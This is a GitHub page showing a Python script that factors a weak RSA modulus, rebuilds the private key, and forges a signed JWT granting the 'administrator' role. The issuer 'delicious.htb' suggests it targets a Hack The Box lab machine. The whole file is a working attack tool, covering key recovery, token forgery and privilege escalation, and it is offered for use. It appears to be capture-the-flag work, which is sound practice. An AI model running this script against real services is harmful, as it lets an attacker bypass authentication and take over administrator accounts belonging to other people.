-
Notifications
You must be signed in to change notification settings - Fork 0
/
reconstruct_private_key.py
123 lines (96 loc) · 3.39 KB
/
reconstruct_private_key.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
#!/usr/bin/python3
import argparse
import datetime
from Crypto.PublicKey import RSA
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization
import sympy
def reconstruct_private_key(e, n, use_factor_db):
# Factorize n into p and q
factors = factorize(n, use_factor_db)
p = list(factors.keys())[0]
q = n // p
# Compute phi_n
phi_n = (p - 1) * (q - 1)
# Compute private exponent d
d = pow(e, -1, phi_n)
# Construct the private key
key = RSA.construct((n, e, d, p, q))
private_key_bytes = key.export_key()
private_key_str = private_key_bytes.decode("utf-8")
# Load the private key
private_key = serialization.load_pem_private_key(
private_key_bytes,
password=None,
backend=default_backend()
)
# Get the public key
public_key = private_key.public_key()
public_key_bytes = public_key.public_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PublicFormat.SubjectPublicKeyInfo
)
public_key_str = public_key_bytes.decode("utf-8")
return private_key_str, public_key_str
def factorize(n, use_factor_db):
if use_factor_db:
from factordb.factordb import FactorDB
f = FactorDB(n)
f.connect()
factors = f.get_factor_list()
# Debug information
print(f"Factors from FactorDB: {factors}")
if len(factors) != 2:
raise ValueError(f"Failed to get exactly two prime factors for n from FactorDB. {factors}")
else:
import sympy
factors = sympy.factorint(n)
return factors
def generate_jwt(n, e, private_key_str):
import jwt
# Update the payload as needed here:
jwk = {
"kty": "RSA",
"n": str(n),
"e": e
}
payload = {
"email": "[email protected]",
"role": "administrator",
"iss": "delicious.htb",
"jwk": jwk,
"iat": datetime.datetime.utcnow(),
"exp": datetime.datetime.utcnow() + datetime.timedelta(hours=24)
}
private_key = serialization.load_pem_private_key(
private_key_str.encode("utf-8"),
password=None,
backend=default_backend()
)
jwt_token = jwt.encode(
payload,
private_key,
algorithm="RS256"
)
return jwt_token
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="Reconstruct private key from public key")
parser.add_argument("--n", type=int, help="Modulus n")
parser.add_argument("--use_factor_db", action="store_true", help="Use FactorDB to factorize n (default: use Sympy)")
parser.add_argument("--jwt", action="store_true", help="Generate a JWT with the reconstructed private key.")
parser.add_argument("--e", type=int, default=65537, help="Public exponent e")
args = parser.parse_args()
if args.n is None:
print("Error: Modulus n is required")
parser.print_help()
exit(1)
private_key_str, public_key_str = reconstruct_private_key(args.e, args.n, args.use_factor_db)
if private_key_str is not None and public_key_str is not None:
print("Private Key:")
print(private_key_str)
print("\nPublic Key:")
print(public_key_str)
if args.jwt:
jwt = generate_jwt(args.n, args.e, private_key_str)
print("Json Web Token:")
print(jwt)